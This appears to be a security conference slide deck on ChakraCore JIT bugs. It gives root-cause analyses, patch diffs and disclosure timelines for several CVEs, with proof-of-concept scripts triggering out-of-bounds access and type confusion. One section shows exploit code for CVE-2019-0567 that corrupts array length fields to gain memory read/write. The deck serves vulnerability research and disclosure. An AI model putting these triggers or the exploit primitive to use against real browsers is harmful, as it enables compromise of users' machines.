• The `indexOffset` will not always equal to Induction Variable’s `maxChange`, it may less than `maxChange`, when this happens, it may cause an out of bound read/write vulnerability.
Patch CVE-2018-8145
After patch

• Upperboundcheck formula

\[
\begin{cases}
\text{index} + \text{indexoffset} + (\text{loopCountMinusOne} + 1) \times \text{maxChange} \leq \text{headSegmentLength} - 1 \\
\text{maxChange} = \text{InductionVariable}.\text{changeBounds}.\text{upperBound} \\
\text{loopCountMinusOne} = (\text{left} - \text{right} + \text{offset})/\text{minMagnitudeChange}
\end{cases}
\]
CVE-2018-8145 patch timeline

• We found this vulnerability at Jan 2018.
• Mitigation in Microsoft May 2018 Security Update (MSRC said this vulnerability was fixed in May 2018 Security update. In fact, it’s just a mitigation)
• Finally patched in Microsoft Sep 2018 Security Update.
function opt(arr, tag) {
    if(arr.length < 0x200 )
        return;
    let index =0;
    for(var t=0; t<1; t++)
    {
        if(tag===8)
            index += 0x1000;
        index +=2;
        arr[index]=1234;
    }
}

ua = new Array(0x300);
ua.fill( 1.1);
opt(ua,2);
opt(ua,8);
• LoopCount sometimes can be calculated like following:
• If rightSym and leftSym both equal to zero, loopCount will be calculated as follows:
• In this case offset equals to zero

```c
if(!rightSym)
{
    if(!leftSym)
    {
        loop->loopCount = new(loopCountBuffer) LoopCount(offset / minMagnitudeChange);
        break;
    }
}
```
Simplified the formula

• The UpperBoundCheck can be simplified into the following formula

\[
\begin{align*}
\text{index} + \text{indexOffset} + \text{loopCountMinusOneConstantValue} \cdot \text{maxChange} & < \text{HeadSegmentLength} \\
\text{loopCountMinusOneConstantValue} &= \frac{\text{offset}}{\text{minChange}}
\end{align*}
\]
• In this case
• Offset = 0, so $loopCountMinusOneConstantValue = 0$
• Index initialize value is 0, indexOffset is 0x02, so $0 + 2 < 0x300$
• When tag = 8, loop run like following
  • Index+=0x1000 => index=0x1000
  • Index+=0x02 => index=0x1002
  • arr[index] => arr[0x1002], cause an out of bound read/write vulnerability
Patch about CVE-2019-0592

```c
void GlobOpt::DetermineArrayBoundCheckHoistability(
{
    // The loop count is constant, fold (indexOffset + loopCountMinusOne * maxMagnitudeChange)
    TRACE_PHASE_VERBOSE(Js::Phase::BoundCheckHoistPhase, 3, _u("Loop count is constant, folding\n"));

    if(Int32Math::Mul(loopCount->LoopCountMinusOneConstantValue(), maxMagnitudeChange, &offset) ||
    +    int loopCountMinusOnePlusOne = 0;
    +    if (Int32Math::Add(loopCount->LoopCountMinusOneConstantValue(), 1, &loopCountMinusOnePlusOne) ||
    +        Int32Math::Mul(loopCountMinusOnePlusOne, maxMagnitudeChange, &offset) ||
    +        Int32Math::Add(offset, indexOffset, &offset))
    {
        TRACE_PHASE_VERBOSE(Js::Phase::BoundCheckHoistPhase, 4, _u("Folding failed\n"));
    }
```
After Patch the upperbound check

\[
\begin{align*}
\text{index} + \text{indexOffset} + (\text{loopCountMinusOneConstantValue} + 1) \times \text{maxChange} &< \text{HeadSegmentLength} \\
\text{loopCountMinusOneConstantValue} &\equiv \text{offset/minChange}
\end{align*}
\]
CVE-2019-0592 patch timeline

• We found this vulnerability at Jan 2018.
• This vulnerability was reported at Mar 2018 and the MSRC case id was 44158
• When Microsoft Fixed the vulnerability CVE-2018-8137, the poc I reported about this vulnerability cannot be triggered, MSRC thought that case 44158 is as same as CVE-2018-8137. In fact, the root cause about 44158 is not as same as CVE-2018-8317, make a small change on the poc, it could trigger the crash again.
• I reported this vulnerability to MSRC again and have got the CVE-2019-0592.
• Finally Patched in Microsoft Mar 2019 Security Update.
Mitigation against CPU Spectre

• Purpose: Add masking of stores for protection against CPU Spectre Vulnerability.

• Implement: while reading or writing an array’s element it will check whether the index out of bound of the array range.

• Side effect: although this mitigation is used to against CPU Spectre vulnerability, it also effects the array’s out-of-bound vulnerability. It translates the out of bound write vulnerability to zero address access, and translates the out of bound read vulnerability to crash or returning zero.

• Mitigation implement time: May 2018 Microsoft Security Update
Mitigation Implementation

• Suppose that the access of elements is arr[index]
  • element_address = arr_baseaddress + index*sizeof(arr[0])
  • sub = index-headSegmentLength
  • mask = sub>>63

• Write Mitigation
  • element_address = element_address & mask;

• Read Mitigation
  • Value = arr[index] & mask
Effect about array write

• If index < headSegmentLength
  • mask = sub >> 63 = 0xffffffffffffff
  • address = address & mask = address & 0xffffffffffffff = address
  • So add[index] can right access the array

• If index >= headSegmentLength (out of bound write vulnerability)
  • mask = sub >> 63 = 0x0000000000000000
  • address = address & mask = address & 0x0000000000000000 = 0
  • So add[index] will access 0 address, will lead to null pointer access. This translate the out of bound write vulnerability to null pointer access
Effect about array read

• If index < headSegmentLength
  • mask = sub >> 63 = 0xffffffffffffffff
  • value = arr[index] & mask
  • So add[index] can correct get the array[index] value

• If index >= headSegmentLength (out of bound read vulnerability)
  • mask = sub >> 63 = 0x0000000000000000
  • Value = arr[index] & mask = arr[index] & 0x00000000
  • So add[index] will return 0 or crash, can not information leak.
shouldPoisonLoad

• ChakraCore May 2018 Security Update
• ChakraCore v1.8.4
  https://github.com/Microsoft/ChakraCore/releases/tag/v1.8.4

```c
// Should we poison the load of the address to/from which the store/load happens?
bool shouldPoisonLoad = maskOpnd != nullptr
	&& (!isStore &&
	     (baseValueType.IsLikelyTypedArray()
	      ? CONFIG_FLAG_RELEASE(PoisonTypedArrayLoad)
	       : ((indirType == TyVar && CONFIG_FLAG_RELEASE(PoisonVarArrayLoad))
	           || (IRType_IsNativeInt(indirType) && CONFIG_FLAG_RELEASE(PoisonIntArrayLoad))
	           || (IRType_IsFloat(indirType) && CONFIG_FLAG_RELEASE(PoisonFloatArrayLoad)))
	    )
	
	|| (isStore &&
	    (baseValueType.IsLikelyTypedArray()
	     ? CONFIG_FLAG_RELEASE(PoisonTypedArrayStore)
	      : ((indirType == TyVar && CONFIG_FLAG_RELEASE(PoisonVarArrayStore))
	          || (IRType_IsNativeInt(indirType) && CONFIG_FLAG_RELEASE(PoisonIntArrayStore))
	          || (IRType_IsFloat(indirType) && CONFIG_FLAG_RELEASE(PoisonFloatArrayStore)))
	    )
```
shouldPoisonLoad

• TypedArray, Var Array, Int Array, Float Array read or write were also been mitigated, so the out-of-bound R/W vulnerability of array in Javascript can’t be exploited.
Mitigation Update

• ChakraCore July 2018 Security Update
• ChakraCore v1.10.1
Where call SetIsSafeToSpeculate

• If the r = arr[index] in the loop, will disable the mask.

```cpp
switch (instr->m_opcode) {
    case Js::OpCode::LdElemI_A:
    case Js::OpCode::ProfiledLdElemI_A:
    {
        IR::Opnd* dest = instr->GetDst();
        if (dest->IsRegOpnd())
        {
            SymID symid = dest->AsRegOpnd()->m_sym->m_id;
            if (!block->loop->internallyDereferencedSyms->Test(symid))
            {
                instr->SetIsSafeToSpeculate(true);
                addOutEdgeMasking(symid, block->loop, this->tempAlloc);
            }
        }
    }
}
```
Why update

• Guess the reason is that the compiler did the best effort to optimize the BoundCheck, if we add mitigation to all array’s read/write, compiler’s early efforts will be wasted.

• After update
  • Mitigation for the array’s element write is not change
  • Mitigate the array’s read when this read isn’t in the loop. If the read is in the loop, not mitigate it
let arr = [1.1];
tf = function( ){print("haha");}
Object.defineProperty(tf.__proto__.__proto__, "alias", {
    get:function( )
    {
        arr[0] = {};
        return null;
    }
});

function opt(arr, obj) {
    arr[0] = 1.1;
    obj.values;
    arr[0] = 2.3023e-320;
}

opt(arr, {});
opt(arr, [1,2,3]);
print(arr[0]);
lowerer Instr Information
ImplicitCallFlags Setting

• obj.values will trigger a call of Op_PatchGetValue, we can see that it have been set the ImplicitCallFlags, DisableImplicitCallFlags before it was called. After finished the call, it will check the flags.

• Why this will also cause a vulnerability?
Root cause analysis

```c++
void JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode(ScriptContext * scriptContext)
{
    JavascriptExceptionObject *pExceptionObject = nullptr;
    if (jsBuiltInByteCode != nullptr)
    {
        return;
    }

    try {
        EnsureJsBuiltInByteCode(scriptContext);
        Assert(jsBuiltInByteCode != nullptr);

        // Clear disable implicit call bit as initialization code doesn't have any side effect
        Js::ImplicitCallFlags saveImplicitCallFlags = scriptContext->GetThreadContext()->GetImplicitCallFlags();
        scriptContext->GetThreadContext()->ClearDisableImplicitFlags();

        JavascriptFunction::CallRootFunctionInScript(functionGlobal, Js::Arguments(callInfo, args));
        scriptContext->GetThreadContext()->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags));

        Js::ScriptFunction *functionBuiltins = scriptContext->GetLibrary()->CreateScriptFunction(jsBuiltInByteCode->GetPrototype()->GetPrototype());
        functionBuiltins->SetPrototype(scriptContext->GetLibrary()->nullValue);

        // Clear disable implicit call bit as initialization code doesn't have any side effect
        saveImplicitCallFlags = scriptContext->GetThreadContext()->GetImplicitCallFlags();
        scriptContext->GetThreadContext()->ClearDisableImplicitFlags();

        JavascriptFunction::CallRootFunctionInScript(functionBuiltins, Js::Arguments(callInfo, args));
        scriptContext->GetThreadContext()->SetImplicitCallFlags((Js::ImplicitCallFlags)(saveImplicitCallFlags));
    }
```
"use strict";

(function (intrinsic) {
    var platform = intrinsic.JsBuiltIn;

    let FunctionsEnum = {
        ArrayValues: { className: "Array", methodName: "values", argumentsCount: 0, forceInline: true /*optional*/ },
        ArrayKeys: { className: "Array", methodName: "keys", argumentsCount: 0, forceInline: true /*optional*/ },
        ArrayEntries: { className: "Array", methodName: "entries", argumentsCount: 0, forceInline: true /*optional*/ },
        ArrayIndexOf: { className: "Array", methodName: "indexOf", argumentsCount: 1, forceInline: true /*optional*/ },
        ArrayFilter: { className: "Array", methodName: "filter", argumentsCount: 1, forceInline: true /*optional*/ },
    };

    platform.registerFunction(FunctionsEnum.ArrayKeys, function () {
        "use strict";
        if (this === null || this === undefined) {
            __chakraLibrary.raiseThis_NullOrUndefined("Array.prototype.keys");
        }
        let o = __chakraLibrary.Object(this);
        return __chakraLibrary.CreateArrayIterator(o, 0 /* ArrayIterationKind.Key*/);
    });

    platform.registerFunction(FunctionsEnum.ArrayValues, function () {
        "use strict";
        if (this === null || this === undefined) {
            __chakraLibrary.raiseThis_NullOrUndefined("Array.prototype.values");
        }
        let o = __chakraLibrary.Object(this);
        return __chakraLibrary.CreateArrayIterator(o, 1 /* ArrayIterationKind.Value*/);
    });

    platform.registerFunction(FunctionsEnum.ArrayEntries, function () {
        "use strict";
        if (this === null || this === undefined) {
            __chakraLibrary.raiseThis_NullOrUndefined("Array.prototype.entries");
        }
        let o = __chakraLibrary.Object(this);
        return __chakraLibrary.CreateArrayIterator(o, 2 /* ArrayIterationKind.KeyAndValue*/);
    });
});
tf.__proto__.__proto__ == funcInfo.__proto__.__proto__

Var JsBuiltInEngineInterfaceExtensionObject::EntryJsBuiltIn_RegisterFunction(RecyclableObject* function, CallInfo callInfo, ...)
{
  EngineInterfaceObject_CommonFunctionProlog(function, callInfo);
  JavascriptLibrary* library = scriptContext->GetLibrary();

  // retrieves arguments
  RecyclableObject* funcInfo = nullptr;
  if (!JavascriptConversion::ToObject(args.Values[1], scriptContext, &funcInfo))
  {
    JavascriptError::ThrowTypeError(scriptContext, JSERR_FunctionArgument_NeedObject, _u("Object.assign"));
  }

  Var classNameProperty = JavascriptOperators::OP_GetProperty(funcInfo, Js::PropertyIds::className, scriptContext);
  Var methodNameProperty = JavascriptOperators::OP_GetProperty(funcInfo, Js::PropertyIds::methodName, scriptContext);
  Var argumentsCountProperty = JavascriptOperators::OP_GetProperty(funcInfo, Js::PropertyIds::argumentsCount, scriptContext);
  Var forceInlineProperty = JavascriptOperators::OP_GetProperty(funcInfo, Js::PropertyIds::forceInline, scriptContext);
  Var aliasProperty = JavascriptOperators::OP_GetProperty(funcInfo, Js::PropertyIds::alias, scriptContext);

  lead to user-defined JS function
CVE-2019-0650 patch timeline

• We found this vulnerability at Sep 2018.
• Patched at Microsoft Feb 2019 Security Update.
<script>
function opt(obj, obj1) {
    obj.a = 3.3;
    let tmp = {__proto__: obj1};
    obj.a = 3.5;
}
obj = {a: 1, b: 2, c: 3};
obj1 = {a: 1, b: 2, c: 3};
for (let i = 0; i < 0x10000; i++)
    opt(obj, obj1);
obj = {a: 1, b: 2, c: 3};
opt(obj, obj);
alert(obj.c);
</script>
DynamicObject

// Memory layout of DynamicObject can be one of the following:
// (#1)   (#2)   (#3)
// +-------------------+-------------------+-------------------+
// | vtable, etc.     | vtable, etc.     | vtable, etc.     |
// | -----------------| -----------------| -----------------|
// | auxSlots          | auxSlots          | inline slots     |
// | union             | union             | inline slots     |
// +-------------------+-------------------+-------------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.
// More details for the layout scenarios below.

Field(Field(Var)*) auxSlots;
auxSlots

• In DynamicObject, auxSlots have two meanings.
  • If DynamicHandler is ObjectHeaderInlinedTypeHandler, the auxSlots will store the value of the Object's attribute
  • Else, the auxSlots is a pointer, which points to a memory address, which stores the object's attribute value.
Op_InitProto

- Op_InitProto will trigger to call DynamicTypeHandler::AdjustSlots function
void DynamicTypeHandler::AdjustSlots(
    DynamicObject *const object,
    const PropertyIndex newInlineSlotCapacity,
    const int newAuxSlotCapacity)
{
    Assert(object);

    // Allocate new aux slot array
    Recycler *const recycler = object->GetRecycler();
    TRACK_ALLOC_INFO(recycler, Var, Recycler, 0, newAuxSlotCapacity);
    Field(Var) *const newAuxSlots = reinterpret_cast<Field(Var) *>(
        recycler->AllocZero(newAuxSlotCapacity * sizeof(Field(Var))));

    object->auxSlots = newAuxSlots;
    object->objectArray = nullptr;
}
AdjustSlots

- AdjustSlots have change the auxSlots to a pointer. But the JIT code also save object.a values to auxSlots, so this lead to type confusion vulnerability.
Attack point

• You might find other vulnerability in this attack point if you have enough time.
Patch about CVE-2019-0567

CVE-2019-0539, CVE-2019-0567 Edge - Chakra: JIT: Type confusion via N...

...ewScQObjectNoCtor or InitProto - Google, Inc.

master (#5899) ○ v1.11.7 ... v1.11.5

Chakra Automation authored and rajatd committed on 19 Nov 2018

Showing 1 changed file with 9 additions and 0 deletions.

lib/Backend/globOptFields.cpp

```cpp
456 456  @ @ -456,6 +456,15 @ @ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
457 457   }
458 458   break;
459 +  case Js::OpCode::InitClass:
460 +  case Js::OpCode::InitProto:
461 +  case Js::OpCode::NewScObjectNoCtor:
462 +    if (!inGlobOpt)
463 +      {
464 +        KillObjectHeaderInlinedTypeSymsWith(this->currentBlock, false);
465 +      }
466 +    break;
467 +
468 +  default:
469 +    if (instr->UsesAllFields())
```

1 parent d73c5f1 commit 788f17b0ce06ea84553b123c714d1f7052112a0
CVE-2019-0567 patch timeline

• We found this vulnerability at Sep 2018.
• Patched in Microsoft Jan 2019 Security Update.
Exploit CVE-2019-0567

```javascript
var obj_rw = {p1: 1, p2: 2, p3: 3, p4: 4};
obj_rw.p5 = 5;
obj_rw.p6 = 6;
obj_rw.p7 = 7;
obj_rw.p8 = 8;
obj_rw.p9 = 9;
obj_rw.p10 = 10;
obj_rw.p11 = 11;
obj_rw.p12 = 12;

function opt(obj, obj1) {
    obj.a = 3.3;
    let tmp = {__proto__: obj1};
    obj.a = obj_rw;
}

// layout_heap
layout_heap();
// jit the jit_fun function*/

for(let i=0; i<0x100000; i++) {
    obj_l = {a: 1, b: 2, c: 3, d: 4};
    obj = {a: 1, b: 2, c: 3, d: 4};
    opt(obj, obj_l);
}

obj_l = {a: 1, b: 2, c: 3, d: 5};

opt(obj_l, obj_l);
obj_l.e = trigger_vuln_intarray;
obj_rw.p7 = 0xffffffff; // 0x00010000'7fffffff array->length = 0x7fffffff
obj_rw.p11 = NaN;  // 0x00040000'00000000 head->left = 0, head->length=0x00040000
obj_rw.p12 = 0xffffffff; // 0x00010000'7fffffff head->size = 0x7fffffff
```
```javascript
let tmp = {__proto__: obj1}
```

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>obj_1</td>
<td></td>
</tr>
<tr>
<td>0x00 vtable</td>
<td>0x08</td>
</tr>
<tr>
<td>auxSlots(obj_1.a)</td>
<td>obj_1.b</td>
</tr>
<tr>
<td>obj_1.c</td>
<td>obj_1.d</td>
</tr>
</tbody>
</table>

```
let tmp = {__proto__: obj1};
```

```
obj_1.auxSlots
```
obj.a = obj_rw;

```plaintext
<table>
<thead>
<tr>
<th>obj_1</th>
<th></th>
<th>obj_rw</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00 vtable</td>
<td>0x08</td>
<td>0x00 vtable (c)</td>
<td>0x08 (d)</td>
</tr>
<tr>
<td>auxSlots</td>
<td></td>
<td>auxSlots (e)</td>
<td></td>
</tr>
<tr>
<td>obj_1.a</td>
<td>obj_1.b</td>
<td>obj_rw.p1</td>
<td>obj_rw.p2</td>
</tr>
<tr>
<td>Obj_rw.p3</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Obj_rw.p4</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>........</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```
obj_1.e = trigger_vuln_intarray;

<table>
<thead>
<tr>
<th>obj_1</th>
<th>obj_rw</th>
<th>JavascriptNativeIntArray</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00 vtable</td>
<td>0x00 vtable (c)</td>
<td>0x00 vtable(p3)</td>
</tr>
<tr>
<td>auxSlots</td>
<td>auxSlots (e)</td>
<td>p5</td>
</tr>
<tr>
<td>obj_1.a</td>
<td>obj_rw.p1</td>
<td>Length(p7)</td>
</tr>
<tr>
<td>obj_1.b</td>
<td>obj_rw.p2</td>
<td>p8</td>
</tr>
<tr>
<td></td>
<td></td>
<td>p9</td>
</tr>
<tr>
<td></td>
<td></td>
<td>headSegment.length (p11)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>headSegment.size (p12)</td>
</tr>
</tbody>
</table>
Get relative address to read and write

• Run the code below, we can get the ability to relative address read and write according to JavaScriptNativeIntArray

• It’s easy to use this array to get the ability to absolute arbitrary address read and write in ChakraCore

• Use the pwn.js, can finish the exploit.

```javascript
obj_rw.p7 = 0x7fffffffff; //0x00010000'7fffffffff array->length = 0x7fffffffff
obj_rw.p11 = NaN;      //0x00040000'00000000 head->left = 0,head->length=0x00040000
obj_rw.p12 = 0x7fffffffff; //0x00010000'7fffffffff head->size = 0x7fffffffff
```
Exploit demo show
Acknowledgement

• @yuange of Tencent ZhanluLab

• Thanks to @hume, @ThomsonTan for answering the confusion I encountered when I learned the compilers principles.

• Thanks to Google Project Zero security researcher Lokihardt for showing us so many exciting vulnerability samples.

• Thanks to ChakraCore Team for fixed the vulnerability I report.
Reference

• https://github.com/Microsoft/ChakraCore
• https://bugs.chromium.org/p/project-zero/issues/detail?id=1429
• https://github.com/theori-io/pwnjs
Appendix
Index is a constant

- Begin
  - Index is constant value
    - N: Process index is not constant
    - Y: Can Get compatibleBoundCheck
      - N: headSegmentLengthInvariantOp Not null
        - Y: Iterate currentLoop to Ancestor loop
          - N: Find the value of HeadSegmentLengthSym
            - Y: landingPadHeadSegmentLengthValue
              - Y: Index<headSegmentLength
                - N: End
            - N: landingPadHeadSegmentLengthValue = Value
              - N: End
      - Y: compatibleBoundCheck->SetBoundOffset
        - Y: Set upperboundcheck can hoist
          - Y: Hoist UpperBoundCheck
            - End
        - N: End
Compatible bound check

Begin

Get indexValuelInfo
indexBounds

Get Compatibility lowBoundCheck upperBoundCheck

If lowBoundCheck! =null && upperBoundCheck!

Set upperHostInfo lowerHostInfo

Hoist UpperBoundCheck Hoist lowerBoundCheck

End

indexBounds!=null

Iterator currentBlock->globoptData.availableIntBoundChecks get each IntBoundCheck
According IntBoundCheck get the lowerHostBlockIndexValueNumber or upperHostBlockIndexValueNumber

indexBounds->RelativeLowerBounds or indexBounds->RelativeLowerBounds get the IntBoundCheck

upperBoundCheck or lowerBoundCheck

Set HoistInfo

foundUpperBoundCheck && foundLowerBoundCheck

Hoist BoundCheck

currentLoop==NC LL

NextStep

N N Y Y

End
Index is invariant or index in landingPad is a lower/upper bound of the index in current block

Note: Just focuses on the UpperBoundCheck Hoist index value in the landing pad is a lower/upper bound of the index value in the current block
Index relative bound is invariant in loop

Note: Just focus on the UpperBoundCheck Hoist
Begin

if (searchingUpper &&
    upperHoistInfo.loop() != loop)

!upperHoistInfo_LOOP() &&
currentLoop->inductionVariables &&
currentLoop->inductionVariables->TryGetReference(
    indexSym->m_id, &indexInductionVariable) &&
currentLoop->inductionVariables->TryGetReference(
    indexSym->m_id, &indexInductionVariable) &&
!

if (!(!indexBounds &&
    indexBounds->WasConstantUpperBoundEstablishedExplicitly()))

Constant upper bound was established implicitly

End

indexConstantBound =
indexBounds->ConstantUpperBound();

currentBlock->globOptData.availableIntBoundChecks->TryGetReference(
    IntBoundCheckCompatibilityId(ZeroValueNumber,
    headSegmentLengthValue->GetValueNumber()),
    &boundCheck)

Get boundCheck success

compatibleBoundCheckOffset = -1 -
    indexConstantBound;
    boundCheck->SetBoundOffset(compatibleBoundCheckOffset)
upperHoistInfo.SetCompatibleBoundCheck(boundCheck->BlockO, indexConstantBound);
upperHoistInfo.SetLoop(
    loop,
    indexConstantBound,
    landingPadHeadSegmentLengthValue,
    landingPadHeadSegmentLengthConstantBounds);
Be careful: This flow chart only gives a branch of the loopcount process because this process is very complicated. Want to see the full branch, please read the source code.
ChakraCore Debug Flag

- **-mic:** the maximum number of times to run in interpreted mode before JIT
- **-bgjit:** disable the JIT in the backend thread
- **-off:** disable the simplejit
- **-debugbreak:** insert “int 3” instruction at the begin of the JIT function which function number is “n”
- **-dump:** dump the instr information after irbuilder phase
- **-dump:** dump the instr information after inline phase
- **-dump:** dump the instr information after FGBuild phase
- **-dump:** dump the instr information after GlobOpt phase
- **-dump:** dump the instr information after Lowerer phase
• -trace:ValueNumbering trace the ValueNumbering about each Sym
• -trace:TrackRelativeIntBounds
• -trace:BoundCheckElimination
• -trace:LoopCountBasedBoundCheckHoist
• -trace:BoundCheckHoist
• -trace:TrackRelativeIntBounds